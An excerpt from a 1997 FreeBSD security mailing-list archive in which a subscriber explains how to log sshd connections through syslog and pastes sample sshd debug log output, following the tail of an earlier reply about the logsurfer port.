http://hobbes.cdrom.com/pub/FreeBSD/ports-current/misc/logsurfer/ >give me a yell if you get stuck. thank you .... hopefully it will be ok if it's been ported. (he says, putting the kiss of death on it) chas ps. thanks also to Guy & Bryan for the swatch tips... i'll have a look-see at that too. From owner-freebsd-security Sat Jun 28 06:58:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA20400 for security-outgoing; Sat, 28 Jun 1997 06:58:50 -0700 (PDT) Received: from shadows.aeon.net (bsdsec@shadows.aeon.net [194.100.41.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA20394 for ; Sat, 28 Jun 1997 06:58:46 -0700 (PDT) Received: (from bsdsec@localhost) by shadows.aeon.net (8.8.5/8.8.3) id QAA24251; Sat, 28 Jun 1997 16:58:18 +0300 (EET DST) From: mika ruohotie Message-Id: <199706281358.QAA24251@shadows.aeon.net> Subject: Re: SSHD from Inetd In-Reply-To: <19970627100539.54789@darkwing.pacific.net.sg> from Ng Pheng Siong at "Jun 27, 97 10:05:39 am" To: ngps@pacific.net.sg (Ng Pheng Siong) Date: Sat, 28 Jun 1997 16:58:18 +0300 (EET DST) Cc: james@nexis.net, freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > Denied connections were logged, allowed ones weren't, IIRC. > > > Not good enough for me, so I'm running sshd out of inetd. > Well, as a matter of taste I prefer to keep all the access control stuff > in one file, and I've always used the extended language option for > tcpwrappers. hmm... pardon me if i'm not really understanding what you want to do... my out from the box sshd logs the incoming connections well, all i did was add line to /etc/syslog.conf auth.* goes to it's own file auth.all (and is rotated once a month) sample output from sshd: Jun 28 16:49:07 shadows sshd[24172]: log: Connection from 194.111.220.20 port 1019 Jun 28 16:49:18 shadows sshd[24172]: debug: Client protocol version 1.5; client software version 1.2.20 Jun 28 16:49:18 shadows sshd[24172]: debug: Sent 768 bit public key and 1024 bit host key. Jun 28 16:49:18 shadows sshd[24172]: debug: Encryption type: idea Jun 28 16:49:18 shadows sshd[24172]: debug: Received session key; encryption turned on. Jun 28 16:49:18 shadows sshd[24172]: debug: Attempting authentication for soap. Jun 28 16:49:18 shadows sshd[24172]: debug: Trying rhosts with RSA host authentication for soap Jun 28 16:49:18 shadows sshd[24172]: debug: RhostsRSA authentication failed for 'soap', remote 'soap', host 'beasty-boys.supsys.fi'. Jun 28 16:49:23 shadows sshd[24172]: debug: Password authentication for soap failed. Jun 28 16:49:23 shadows sshd[24172]: fatal: Connection closed by remote host. Jun 28 16:49:23 shadows sshd[24172]: debug: Calling cleanup 0x104c0(0x0) Jun 28 16:49:25 shadows sshd[24174]: log: Connection from 194.111.220.20 port 1018 Jun 28 16:49:25 shadows sshd[24171]: debug: Forked child 24174. Jun 28 16:49:25 shadows sshd[24174]: debug: Client protocol version 1.5; client software version 1.2.19 Jun 28 16:49:25 shadows sshd[24174]: debug: Sent 768 bit public key and 1024 bit host key. Jun 28 16:49:25 shadows sshd[24174]: debug: Encryption type: idea Jun 28 16:49:26 shadows sshd[24174]: debug: Received session key; encryption turned on. Jun 28 16:49:26 shadows sshd[24174]: debug: Attempting authentication for soap. Jun 28 16:49:26 shadows sshd[24174]: debug: Trying rhosts with RSA host authentication for soap Jun 28 16:49:26 shadows sshd[24174]: debug: RhostsRSA authentication failed for 'soap', remote 'soap', host 'beasty-boys.supsys.fi'. Jun 28 16:49:49 shadows sshd[24174]: log: Password authentication for soap accepted. Jun 28 16:49:49 shadows sshd[24174]: debug: Allocating pty. Jun 28 16:49:49 shadows sshd[24174]: debug: Forking shell. Jun 28 16:49:49 shadows sshd[24174]: debug: Entering interactive session. Jun 28 16:49:50 shadows sshd[24176]: login_getclass: unknown class '00^B' Jun 28 16:49:53 shadows sshd[24174]: debug: Received SIGCHLD. Jun 28 16:49:53 shadows sshd[24174]: debug: End of interactive session; stdin 5, stdout (read 824, sent 824), stderr 0 bytes. Jun 28 16:49:53 shadows sshd[24174]: debug: pty_cleanup_proc called Jun 28 16:49:53 shadows sshd[24174]: debug: Command exited with status 0. Jun 28 16:49:53 shadows sshd[24174]: debug: Received exit confirmation. Jun 28 16:49:53 shadows sshd[24174]: log: Closing connection to 194.111.220.20 i run sshd as standalone, as suggested. fascistlogging turned on. if that's not enough, i dont know what you want. sure, it's bit "vocal". i also have still that unknown class thing, even though both my /etc files and ssh are upgraded multiple times to match the rest of the system, since i run -current i have to do that often. mickey